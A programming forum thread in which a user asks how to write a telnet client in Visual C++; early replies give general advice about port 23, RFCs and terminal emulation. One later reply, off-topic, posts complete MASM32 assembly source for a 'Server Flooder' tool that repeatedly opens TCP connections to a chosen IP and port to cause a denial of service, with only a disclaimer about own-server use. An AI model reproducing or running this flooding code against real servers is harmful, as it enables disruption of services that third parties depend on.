| | |
Telnet Client
Please support our C++ advertiser: Intel Parallel Studio Home
![]() |
I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.
Thanx,
Atrus
Thanx,
Atrus
•
•
Join Date: Mar 2004
Posts: 1,620
Reputation:
Solved Threads: 51
Hello,
Telnet operates on TCP / IP port 23, so you are going to need to manage that socket in your program. You might also want to search out RFC's on telnet programs to see what ports the negotiation occurs on.
As long as you are still doing your homework, it may also pay to determine what kind of terminal emulation you are going to support. ANSI? VT-102? VT-240? All of these terminal emulations will require study in the protocols... for examaple, VT-240 is Dec graphics mode, and that means colored lines.
You might also consider an SSH option with the software too.
WIth the amount of telnet programs out there, I am not going to ask why... but if you are going to take the time to write one, do your homework and get the scope of the design down at this stage.
Christian
Telnet operates on TCP / IP port 23, so you are going to need to manage that socket in your program. You might also want to search out RFC's on telnet programs to see what ports the negotiation occurs on.
As long as you are still doing your homework, it may also pay to determine what kind of terminal emulation you are going to support. ANSI? VT-102? VT-240? All of these terminal emulations will require study in the protocols... for examaple, VT-240 is Dec graphics mode, and that means colored lines.
You might also consider an SSH option with the software too.
WIth the amount of telnet programs out there, I am not going to ask why... but if you are going to take the time to write one, do your homework and get the scope of the design down at this stage.
Christian
Just because you're wondering I will let you know. I am trying to write a third party "bot" program for another program that allows remote admin via telnet. My program willl have buttons set up to execute certian commands and such, as the remote admin telnet server is difficult to use. 
Cheers and thanx for the insite,
Atrus

Cheers and thanx for the insite,
Atrus
•
•
Join Date: Mar 2008
Posts: 1
Reputation:
Solved Threads: 0
•
•
•
•
I am currently trying to write a Telnet Client program in Visual C++. I was wondering if anyone knows where I can find a tutorial on how to write the protocals for telnet, or how to connect to a telnet server. I have written a small "chat" program (the one that they use in the Teach Yourself C++ books) and understand how it works, but not sure what to do for a telnet client. Any help would be wonderful.
Thanx,
Atrus
I am write same very simple telnet for Windows on C++ , look here
http://cms.xd24.ru/telnet.aspx?l=en
•
•
Join Date: Mar 2008
Posts: 5
Reputation:
Solved Threads: 0
Don't look at the size of the sample code I provided you down here, otherwise I will scare you of maybe.
Here is a sample of a program which connects to a server by using sockets initialized with the WSAStartup function.
Use API32 reference of microsoft to understand what the functions are for. It is written in assembly, you can compile the source code with masm32 (assembly compiler, free for download).
The purpose of this program is to flood a server on one port. You can provoke a Denial of Service with this (DOS attack) so only use it on your own server!! I am not responsible for any illegal server flooding. I have included the application itself so it is easier to see what the code is all about.
Hopefully this is some helpfull information for you.
Here is a sample of a program which connects to a server by using sockets initialized with the WSAStartup function.
Use API32 reference of microsoft to understand what the functions are for. It is written in assembly, you can compile the source code with masm32 (assembly compiler, free for download).
The purpose of this program is to flood a server on one port. You can provoke a Denial of Service with this (DOS attack) so only use it on your own server!! I am not responsible for any illegal server flooding. I have included the application itself so it is easier to see what the code is all about.
Hopefully this is some helpfull information for you.
C++ Syntax (Toggle Plain Text)
; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« .486 ; create 32 bit code .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive ; include files ; ~~~~~~~~~~~~~ include \masm32\include\windows.inc include \masm32\include\masm32.inc include \masm32\include\gdi32.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\Comctl32.inc include \masm32\include\comdlg32.inc include \masm32\include\shell32.inc include \masm32\include\oleaut32.inc include \masm32\include\dialogs.inc include \masm32\include\ws2_32.inc include \masm32\macros\macros.asm ; libraries ; ~~~~~~~~~ includelib \masm32\lib\masm32.lib includelib \masm32\lib\gdi32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\Comctl32.lib includelib \masm32\lib\comdlg32.lib includelib \masm32\lib\shell32.lib includelib \masm32\lib\oleaut32.lib includelib \masm32\lib\ws2_32.lib DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD .const CRLF equ 0dh, 0ah .data? hWnd dd ? hInstance dd ? IpToFlood db ? .data ;Message Related Data Mes1Caption db "License agreement.",0 Mes1Message db "Created by Devoney, november 2007." db CRLF db CRLF db "This program is freeware. The creator of this program is not responsible for what" db CRLF db "you do with it. The main purpose of this program is to test the behaviour of a" db CRLF db "server with many connection attempts. Please do not abuse." db CRLF db CRLF db "Enjoy a Devoney Creation." db CRLF db CRLF db "Do you understand this license?",0 Mes2Caption db "Invalid data",0 Mes2Message db "No valid data has been specified.",0 Mes3Caption db "Socket Error",0 Mes3Message db "Could not create a functional socket.",0 Mes4Caption db "Connection Error",0 Mes4Message db "Could not make a connection.",0 Mes5Caption db "Socket (re)Initialisation Error",0 Mes5Message db "Application failed to initialize WSAstartup function.",0 Mes6Caption db "Determine Maximum Sockets",0 Mes6Message db "This will determine the maximum sockets that your computer can provide." db CRLF db CRLF db "This might take a while, would you like to continue?",0 Mes7Caption db "Done",0 Mes7Message db "The maximum sockets is: ",0 Mes8Caption db "Info",0 Mes8Message db "Already 50,000 sockets created." db CRLF db "Would you like to quit?",0 ;Socket Related Data WSAStruc WSADATA <> SocketAddress sockaddr_in <> hosty hostent <> ChangeDlgText db "Sockets Created:",0 RestoreText1 db "Max Connections:",0 ;Connection related PortToUse dd 00000000h TotalConnections dd 00000000h TotalFails dd 00000000h TotalSucces dd 00000000h TotalConAllowed dd 00000000h MaxSocks dd 00000000h MaxSocksBuffer dd 00000000h StopConnecting dd 00h .code ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« start: mov hInstance, FUNC(GetModuleHandle,NULL) call main invoke ExitProcess,eax ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« main proc Dialog "Server Flooder", \ ; caption "MS Sans Serif",10, \ ; font,pointsize WS_OVERLAPPED or \ ; styles for WS_SYSMENU or DS_CENTER, \ ; dialog window 14, \ ; number of controls 50,50,155,100, \ ; x y co-ordinates 1024 ; memory buffer size DlgButton "Flood",WS_TABSTOP,106,5,40,13,IDOK DlgButton "Exit",WS_TABSTOP,106,20,40,13,IDCANCEL DlgButton "Stop",WS_TABSTOP,106,35,40,13,111 DlgStatic "Ip address:",SS_LEFT,5,5,60,9,100 DlgEdit SS_LEFT,5,15,60,9,101 DlgStatic "Port number:",SS_LEFT,5,25,60,9,102 DlgEdit SS_LEFT,5,35,60,9,103 DlgStatic "Connected / Failed:",SS_LEFT,5,65,60,9,104 DlgStatic "0",SS_LEFT,5,75,15,9,105 DlgStatic "/",SS_LEFT,25,75,15,9,110 DlgStatic "0",SS_LEFT,45,75,15,9,109 DlgStatic "Max Connections:",SS_LEFT,5,45,60,9,106 DlgEdit SS_LEFT,5,55,60,9,107 DlgButton "Det. Max Sockets",WS_TABSTOP,81,65,65,13,108 CallModalDialog hInstance,0,DlgProc,NULL ret main endp ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD Switch uMsg Case WM_INITDIALOG invoke SendMessage,hWin,WM_SETICON,1, FUNC(LoadIcon,NULL,IDI_ASTERISK) m2m hWnd, hWin ;Show a license messagebox PUSH MB_YESNO PUSH offset Mes1Caption PUSH offset Mes1Message PUSH hWin Call MessageBoxA CMP EAX, 7 JE quit_dialog ;Disable the stop button PUSH 111 PUSH hWin Call GetDlgItem PUSH 0 PUSH EAX Call EnableWindow ;first initialize that we are going to use sockets PUSH offset WSAStruc PUSH 0101h Call WSAStartup CMP EAX, 0 JNE WSAError ;Set standard port text PUSH NULL PUSH 80 PUSH 103 PUSH hWin Call SetDlgItemInt return 1 Case WM_COMMAND Switch wParam Case IDOK MOV StopConnecting, 0 ;gray out the Flood button PUSH IDOK PUSH hWin Call GetDlgItem PUSH 0 ;0 is disable, 1 is enable PUSH EAX Call EnableWindow ;Enable the stop button PUSH 111 PUSH hWin Call GetDlgItem PUSH 1 PUSH EAX Call EnableWindow ;reset the connection number PUSH FALSE PUSH 0 PUSH 105 PUSH hWin Call SetDlgItemInt ;reset connections to 0 MOV TotalConnections, 0 MOV TotalFails, 0 MOV TotalSucces, 0 ;Get the ip from the textboxes PUSH 32h PUSH offset IpToFlood PUSH 101 PUSH hWin Call GetDlgItemText ;get the port from the textboxes PUSH FALSE PUSH NULL ;specifies if we want information about the function being succesfull. PUSH 103 PUSH hWin Call GetDlgItemInt CMP EAX, 0 JE ErrorInvalidData MOV PortToUse, EAX ;get to maximum amount of connections allowed PUSH FALSE PUSH NULL ;specifies if we want information about the function being succesfull. PUSH 107 PUSH hWin Call GetDlgItemInt CMP EAX, 0 JE ErrorInvalidData MOV TotalConAllowed, EAX ;port and ip are set, keep going. ;check if we use a good IP. PUSH offset IpToFlood Call inet_addr CMP EAX, INADDR_NONE JE ErrorInvalidData MOV SocketAddress.sin_addr,EAX ;process the port number PUSH PortToUse Call htons MOV SocketAddress.sin_port, AX ConnectAgain: ;Check if the stop button is pressed ;CMP StopConnecting, 1 ;JE StopConnectingJMP ;Update the Window PUSH hWin Call UpdateWindow ;create a socket PUSH 0 PUSH SOCK_STREAM PUSH PF_INET Call socket ;invoke socket,PF_INET,SOCK_STREAM,0 ;check if this socket is valid CMP EAX, INVALID_SOCKET JE NoSocket ;fix parameter MOV SocketAddress.sin_family,AF_INET PUSH sizeof SocketAddress PUSH offset SocketAddress PUSH EAX Call connect CMP EAX, 0 ;Enable these 2 lines to be notified of connection errors JE ConnectionSucces ;The program stops connection and shows a message. ;Connection failed INC TotalFails JMP ConnectionFailureCont ConnectionSucces: ;We have succesfully connected INC TotalSucces PUSH FALSE PUSH TotalSucces PUSH 105 PUSh hWin Call SetDlgItemInt PUSH FALSE PUSH TotalFails PUSH 109 PUSH hWin Call SetDlgItemInt ConnectionFailureCont: INC TotalConnections ;Check if we reached maximum connections allowed. MOV EBX, TotalConAllowed MOV ECX, TotalConnections CMP ECX, EBX JL ConnectAgain StopConnectingJMP: ;Enable the Flood button PUSH IDOK PUSH hWin Call GetDlgItem PUSH 1 ;0 is disable, 1 is enable PUSH EAX Call EnableWindow Case IDCANCEL jmp quit_dialog Case 108 PUSH MB_YESNO PUSH offset Mes6Caption PUSH offset Mes6Message PUSH hWin Call MessageBoxA CMP EAX, 7 JE Skip ;change text in dialog control PUSH offset ChangeDlgText PUSH 106 PUSH hWin Call SetDlgItemText DetMaxSock: PUSH hWin Call UpdateWindow ;create a socket PUSH 0 PUSH SOCK_STREAM PUSH PF_INET Call socket ;invoke socket,PF_INET,SOCK_STREAM,0 ;check if this socket is valid INC MaxSocks CMP EAX, INVALID_SOCKET JE DoneCheck ;Set dlg int PUSH FALSE PUSH MaxSocks PUSH 107 PUSH hWin Call SetDlgItemInt ;infinite creating of sockets is useless CMP MaxSocks, 50000 JGE Useless JMP DetMaxSock DoneCheck: PUSH MaxSocks PUSH offset MaxSocksBuffer Call dwtoa PUSH offset MaxSocksBuffer PUSH offset Mes7Message Call lstrcat PUSH MB_ICONINFORMATION PUSH offset Mes7Caption PUSH offset Mes7Message PUSH hWin Call MessageBoxA Skip2: ;Clear the junk texts etc. PUSH offset RestoreText1 PUSH 106 PUSH hWin Call SetDlgItemText MOV MaxSocksBuffer, 0 PUSH FALSE PUSh 0 PUSH 107 PUSH hWin Call SetDlgItemInt ;Clean up the sockets Call WSACleanup ;Initialize the sockets again PUSH offset WSAStruc PUSH 0101h Call WSAStartup CMP EAX, 0 JNE WSAError case 111 MOV StopConnecting, 1 Skip: EndSw Case WM_CLOSE quit_dialog: invoke EndDialog,hWin,0 JMP Ending ErrorInvalidData: LEA EDI, Mes2Caption LEA ESI, Mes2Message JMP FinalMes NoSocket: LEA EDI, Mes3Caption LEA ESI, Mes3Message JMP FinalMes ConnectionError: LEA EDI, Mes4Caption LEA ESI, Mes4Message JMP FinalMes WSAError: LEA EDI, Mes5Caption LEA ESI, Mes5Message JMP FinalMes Useless: PUSH MB_YESNO PUSH offset Mes8Caption PUSH offset Mes8Message PUSH hWin Call MessageBoxA CMP EAX, 7 ;if answer is no, we continue JE DetMaxSock JMP Skip2 FinalMes: PUSH MB_ICONERROR PUSH EDI PUSH ESI PUSH hWin Call MessageBoxA ;Enable the Flood button PUSH IDOK PUSH hWin Call GetDlgItem PUSH 1 ;0 is disable, 1 is enable PUSH EAX Call EnableWindow Ending: EndSw return 0 DlgProc endp ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« end start
![]() |
Similar Threads
- handheld telnet emulation (C++)
- VB. NET telnet client (VB.NET)
- How to use 'top' using Python (Python)
Other Threads in the C++ Forum
- Previous Thread: fibonacci numbers code troubleshooting
- Next Thread: Help
| Thread Tools | Search this Thread |
api array arrays based beginner binary bitmap c++ c/c++ calculator char char* class classes code coding compile compiler console conversion convert count data database delete deploy developer dll download dynamiccharacterarray email encryption error file forms fstream function functions game generator getline givemetehcodez graph gui homeworkhelp homeworkhelper iamthwee ifstream input int java lib list loop looping loops map math matrix memory multiple news node number numbertoword output parameter pointer problem program programming project proxy python random read recursion recursive reference rpg sorting string strings temperature template text text-file tree url variable vector video visual visualstudio win32 windows winsock word wordfrequency wxwidgets






